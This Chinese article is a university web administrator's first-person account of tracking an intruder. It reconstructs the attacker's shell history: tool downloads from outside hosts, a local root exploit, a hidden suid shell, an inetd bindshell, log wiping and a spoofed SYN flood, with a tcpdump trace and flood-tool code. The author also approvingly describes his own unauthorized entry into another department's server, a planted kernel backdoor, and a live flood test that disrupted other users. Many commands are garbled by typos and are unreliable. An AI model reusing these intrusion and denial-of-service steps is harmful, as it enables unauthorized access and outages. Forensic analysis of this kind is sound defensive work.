在虚拟的网络环境中真实地存在着一群人,他们被称作黑客,在常人眼里,黑客总是神出鬼没,来去无踪,不受任何拘束。但事实上,黑客也是能被发现和追踪到的,即使是顶级的黑客也有被追踪到的时候。当管理员熟悉黑客的惯用手段,具有更高的技术和更好的耐心时,黑客往往就无法遁形了。网络入侵检测和分析是一门涉及广泛的复杂技术。以下发生的故事只是在一次偶然的机会里发生的黑客追踪事件,是最简单的入侵分析。
1.发现黑客
学期初笔者接管了S大学宣传部的网站,这是个小网站,有四台电脑,一台Web服务器,三台制作和备份的工作站组成。Web服务器装有两个CPU,装载Windows 2000 Server和ⅡS 5.0。平时的更新维护由制作小组的成员完成,笔者只负责些技术方面的问题。在接管时笔者关闭了Web服务器的IPC$连接和默认共享,想给它的IIS打补丁时,刚巧那天校园网和Internet断开了,补丁下载不了,笔者以为这样的小网站入侵者一般不会感兴趣,一时也就搁下了。
一个月后的一天,笔者忽然心血来潮再想给它打补丁,却赫然发觉它简直是完美的化身——什么补丁都打上了。谁干的?问遍制作小组的成员,都没人知道(的确,不是对此有了解的人不会一天到晚老想着给“爱机”喂几个“布丁”吃)。总不会机子自己装的,机器还没有这么高的智商。又查看了一下,发现Windows 2000的终端服务也被开启了。事情开始明朗,那就是:有入侵者!
2.守株待兔
一时疏忽引来了一位黑客,对笔者来说可不是件坏事。先看看日志吧!打开事件管理器,发现日志少得可怜,进入C:WINNTsystem32LogFiles目录下,“事件”、“应用程序”等日志的*.log文件全是十几天前新建的,也就是说十几天前的日志全惨遭杀戮了,再看其他ⅡS等日志也是同样遭遇。没了日志,虽然能断定他可能是利用ⅡS漏洞(idq、ida、unicode,这么多漏洞随便挑一个都能搞定)进入的,但是这位黑客先生来自哪里和在我们的服务器里干了些什么就无从知晓!笔者又检测了服务器打开的端口,发现了一个绑定在6688加密的shell,这位可爱的黑客先生先帮忙打了补丁,又没有什么破坏活动,还留了后门,便断定他一定会再来。于是决定维持一切原样不变,守株待兔!当然不变的只是外表,笔者安装了入侵检测系统监控6688端口和几个敏感端口,只要一旦有人连接,检测系统就会报警。另外,还修改了一个击键记录程序专门监控那个6688的shell。为了以防万一,还安装了硬盘保护卡。尽管花了不少心血,甚至让警报用短消息发到手机,但在以后漫长的几个星期中,除了几次误报,这位黑客再也没有出现,似乎从此销声匿迹了。也许只是一时性起或目的已经达到,他已经放弃了这个攻破的堡垒。
3.将追踪进行到底
由于前车之鉴,在决定放弃追踪后,笔者对服务器进行了全面、系统的安全配置。该关的关,该改的改,该打补丁的打补丁。但在检查system.ini时在发现了这样一句: shell=c:/winnt/system32/iishelp/system32.exe。不会是那位黑客先生下的吧?可是奇怪呀:在发现黑客时曾经花了半天时间对Windows 2000所有可疑的进程都一一核查过,没有这个进程呀!原来,在这个隐藏得很深的文件夹里面一堆垃圾文件里有一个没加密的p.txt文本文件,上面杂七杂八记录了这台服务器上登录过的用户和密码和一些有趣的东西,以下是其中的一部分内容,为了便于阅读对其做了些整理:
jwf12xx
>horse20xx<
[用户登录]
--------
administrator
>8812abcxxx<
[用户登录]
--------
bj.bs.ourgame.com(北京联众)
blisslxxx
1080
>forayxxx<
[登录信息]
……
210.33.xx.x<===好像是学校Web和Mail的服务器的IP。
jwcxxx
>34xxx<
[TELNET]
……
……
210.33.xx.x<===这也是。
jwcxxx
>34xxx<
[FTP]
……
看到这里,大家都知道了吧,原来这个充满迷惑性的进程是一个击键记录程序。不过在笔者发现和检测进程之前它已经被删掉了,看来这黑客可能已经放弃了这台机器了。但是这位黑客对这个程序不是太熟悉(可能从哪里COPY来的),不但在拆卸的时候没把痕迹和生成的其中的一个密码文件清理掉,还让它把那些“不该记的”也记下来了。在上面的记录里除了一些用户名和密码外,还有多个指向一个IP)的telnet和ftp的用户的记录,但这个用户不是我们所有的,而且这个IP地址是S大学的网页和邮件主服务器,事情一下子变得明朗了:由于我们校园网路由器对23、2l这些敏感的端口的TCP连接作了过滤的,只允许出站连接而拒绝入站连接,这位黑客兄弟想必是拿我们的服务器作为攻击学校主页和邮件服务器的跳板了。看来得把追踪进行到底了!
学校的主页和邮件服务器上是一个版本较老的UNIX。Web服务软件是Apache;邮件服务软件为sendmail(是最新版本,没有致命漏洞)。为了方便下面的讲述,我们把它称作主机S。几年前,它的安全状况实在很糟,乱七八糟的服务开了一大堆,R类服务也没关,网管根本没有对其进行安全配置。但由于部门不同,它不属于我们管理。一次笔者随便找了个rpc漏洞便进了S主机,进去四处逛了一圈,实在无事可干,便给网管写了一封长长的信,里面一一列举了该服务器的安全漏洞。几天后主机S的安全面貌已经焕然一新了,想非法进入都很困难了。当然笔者还是留了一手方便进出:内核后门,网管果然没有发现,也是从那时起S大学的路由器过滤掉了所有对2l、23的入站的TCP连接,也就是说在校园网外对其扫描,这几个端口看起来是关闭的,也无法连接的;但校园网内的机子还是可以连接的。这可能也就是那位黑兄对我们这个宣传科的服务器进行攻击的原因。现在他已经放弃了我们这个跳板说明他可能已经得手了。
4.黑客使用技术和心态分析
几天前笔者还在考虑是否该把S主机上的后门卸了,想不到最后还有用武之地。利用内核后门进入主机S,一切还是那么熟悉。记得在宣传科的服务器的p.txt里有一个jwe的用户,先看看passwd再说:
#cat/etc/passwd
……
……
jwc:x:688:501 jwc:/home/jwc:/bin/sh
……
……
(以上共省略100多个用户)
不知道jwe是新加的用户还是被破解了密码的用户,S主机里这么多用户,多个普通用户实在很难发现。再查看日志,所有关于jwe的日志全没了。但这个jwc只是一般用户呀,肯定还有后招。又ps-auxlgrep jwe了一下发现了几个可疑进程。在找来入侵痕迹分析工具准备花时间进行全面检查时,意外地在用户jwe的主文件夹home/jws/下面发现了一个.history文件。这个.history记录了所有在shell命令中键入的命令,这无疑是笔者了解这位黑客所使用的技术和当时的心态的绝好机会。惟一的遗憾是日志全被删了,这位入侵者是如何进入的没有痕迹可查了。最大的可能是用户的暴力猜解,S主机用户太多了,许多用户缺乏安全意识,设置的口令又简单得令人难以置信,很容易破解,当然也不排除利用其他笔者未知的或新发现的漏洞进入的。
下面让我们来看看由这个.history文件讲述的故事吧。为了便于阅读,对其进行了一些省略和修改(前为.history的内容,后面是分析)。
.history
分析
w
谁在系统上。
ftpfirsthost
此次ftp下载了许多工具:lp.c,shell.c,port.c,clean.tar
gcc-olp.clp
编译lp.c从后来的整个攻击过程看,这应该是个本地溢出取得root shell的程序。
chod
击键错误。这点可比我好得多,我平均每10条命令便会打错一条,他整个过程中只有三四次击键错误。
chomdu+xlp
改变lp的模式,使其成为可执行程序。
lp
应该是本地溢出,取得管理员权限。
黑客在检查系统中是否只有他一人,并迅速下载了工具,实行了本地溢出,取得了系统管理权。
我们接着看。
mkdir/usr/lib/...
建立新目录...。在unix下本级目录为.。上一级目录为..。所以...具有一定的欺骗性(不过这招好像早被用滥了)。
cp*.*/usr/lib/...
他在转移工具到新建的目录下,是想藏的好点,呵呵。
rm*.*
删除
ls-al
看看工具在了没有。
cp/bin/ksh/usr/lib/.../h
拷贝了一个suid root shell.并取名为h。在UNIX中,不加参数的ls是不会显示.开头的文件,要加参数a才会显示。h具有一定的隐藏性。
chomd+s,ust/lib/.../.h
设置suid位。
sr/sbin/addusr wdyr
有了一个用户名还不够,又加了一个wdyr用户。
cat/etc/passwd
不放心,进去看看加了没有。
……
……
这位黑客在/usr/lib/下创建了一个...新目录,把一些工具软件藏到了里面,又进行了一系列的活动进一步巩固对系统的控制。
然后,黑客在对整个系统及其网络结构作全面了解。
ps+aux lmore
列出所有的进程。
netstat-an lgrep listen
查看哪些端口运行着哪些服务。
cat/etc/inetd.conf
删除
ls-al
同上。
cat/etc/hosts lmoete
他在查看网络状况。
Find/name index.htm-print
看来这家伙有改网页的欲望。
……
……
之后,黑客先生编辑了inetd.conf,把他的bindshell捆定在了60000高位端口上,还编译了日志清理工具,对日志进行了清理。
gcc-o port.c port
编译port.c。后来的测试中我发现这是个端口扫描器。
chmod u+x port
改变port的模式,使其成为可执行程序。
Port 127.0.0.11 200&
他在测试Port的功能。测试的目标是校内X系机房的IP,127.0.0.1是我处理过了的,扫描的端口是1到200。&是后台运行。
gcc-o sheU.c sh
编译shell.c这个shen是个bind suid sheu后门。
clunod u+x sh
vi/etc/inetd
这是个输入错误。Inetd是程序,不能编辑的。
vi/etc/inetd.conf
他编辑了inetd.conf文件,把他那个bind shell放进去,以后每次启动会都会启动他。
……
……
(续)
gcc-o port.c port
编译port.c。后来的测试中我发现这是个端口扫描器。
killall-HuP inetd
让inetd进程重读它的配置文件inetd.conf。
Port 127.0.0.11 200&
他在测试Port的功能。测试的目标是校内X系机房的IP,127.0.0.1是我处理过了的,扫描的端口是1到200。&是后台运行。
gunzlp*
把…文件下的所有文件解压。
tar-xvf clean.rar
把clean.tar包解开。
ls
/make
编译。
cleanjwc
清理日志他从来都是很积极的。
cd..
回上一级目录。
最后,这个家伙在占领了系统后对他人的系统进行了狠毒的攻击,然后再次清理日志退出了系统。
ftp secondhost
此次fip传输的目的下载攻击工具。下载了一个名为imap.c的工具,这个东西可能是icmp攻击的工具。不知道要对谁进行杀戮了!
……
省略imap的编译和chomd过程。
cat 127 0.0.0.1.log
查看这个扫描结果文件。127.0.0.1.log文件是那个port扫描的结果。
imap
-t3-1127.0.0.1&
应该是后台运行对127.0.0.1也就是S大学X系机房的服务器发动了ICMP攻击。参数t可能是设置时间。
……
ftp thirdhost
此次ftp传输的目的又是下载了两个攻击程序,tear和tes的两个二进制文件。看来imap的攻击没有奏效或效果不够理想。
……
省略该黑客用tear发动的攻击,从名字看我猜町能是UDP的泪滴攻击。但是效果还是不理想,以至后来他生气地删了iamg和tear两个文件。
ps-x lgrep
列出所有grep的应用程序进程。
kill-9029
杀掉imap进程。
kill-9030
杀掉tear进程。
reienlldajs
乱敲一气。攻击没有成功,他很生气。
tst-t3 1270.0.180
开始用tes攻击,攻击端口80。好象效果不错。因为他接下来狠毒地用tst对127.0.0.1进行了长时间的攻击。
Nohup tst –t10000127.0.0.2 127.0.0.180&
nohup使他退出系统后程序仍继续运行。-t 10000攻击10000分钟,127.0.0.2是伪造的源地址,127.0.0.1是攻击目标地址,80是攻击端口,&后台运行。
……
rm*.c*.tar
他在做清理工作了,准备走了。
Clean jwc
再次清理日志。
……
由.history文件讲述的故事到此就结束了。
纵观整个入侵过程没有什么疑惑难解之处,当然实际的-history的文件比较杂乱得多,以上是整理的结果。至于关于那个tst程序的具体情况在下一部分里有介绍。
5.关于攻击工具tsl
tst是SYN攻击工具。把tst工具复制了回来,对寝室楼的代理服务器的http的代理端口发动了攻击进行测试,几秒钟后,就听见室友在喊:“网页怎么打不开了?”。结束了测试,分析TCPDUMP追踪到的记录(源主机、目标主机经过了处理)。
时间戳
源主机.源端口
目标主机.目标端口
TCP标志
序列号
应答号
TCP窗口
大小
09:17:22.5660
hacker.601
server.80
S
1382726961
1382726961(0)
Win4096
09:17:22.7447
hacker.602
server.80
S
1382726962
1382726962(0)
Win4096
09:17:22.8311
hacker.603
server.80
S
1382726963
1382726963(0)
Win4096
09:17:22.8868
hacker.604
server.80
S
1382726964
1382726964(0)
Win4096
09:17:22.9434
hacker.605
server.80
S
1382726965
1382726965(0)
Win4096
09:17:23.0025
hacker.606
server.80
S
1382726966
1382726.966(0)
Win4096
09:17:23.1035
hacker.607
server.80
S
1382726967
1382726967(0)
Win4096
09:17:23.1621
hacker.608
server.80
S
1382726968
1382726968(0)
Win4096
09:17:23.2284
hacker.609
server.80
S
1382726969
1382726969(0)
Win4096
09:17:23.2825
hacker.610
server.80
S
1382726970
1382726970(0)
Win4096
09:17:23.3457
hacker.611
server.80
S
1382726971
1382726971(0)
Win4096
09:17:23.4083
hacker.612
server.80
S
1382726972
1382726972(0)
Win4096
……
……
……
……
……
……
……
从上面的记录我们看到主机hacker从不同的端口(这里是递增的,也可以随机)在短短几秒内就向主机server的80端口发出了上百个连接请求。笔者又对其攻击代码ip头部分进行了分析:
/*ip头填充信息*/
packer.ip.version=4;/*(4位)版本号*/
packer.ip.ihl=5;/*(4位)头长度*/
packer.ip.tos=0;/*(8位)服务类型*/
packer.ip.tol_len-htons(40);/*(16位)数据包总长度*/
packer.ip.id=getpid();/*(16位)认证标识*/
packer.ip.frag_off=0;/*(13位)分段偏移量*/
packer.ip.ttl=225;/*(8位)生存期*/
packer.ip.protocol=IPPROTO_TCP;/*(8位)协议类型*/
packer.ip.check=0;/*(16位校验和)*/
packer.ip.saddr=sadd;/*(32位)源地址*/
packer.ip.taddr=tadd;/*(32位)目标地址*/
这无疑是SYN潮水攻击。SYN攻击是短时间内发送潮水般的连接请求,但不完成3次握手建立正常的连接,而让等待连接的数量超过系统的限制数量,从而使被攻击系统无法建立新的服务。为防止产生RESET信号而使被攻击系统释放连接请求所占的内存,这个程序还使用了一个错误检查程序来确定他所选的假地址是可路由的并且不处于运行状态,这与文章的主题无关,就不多说了。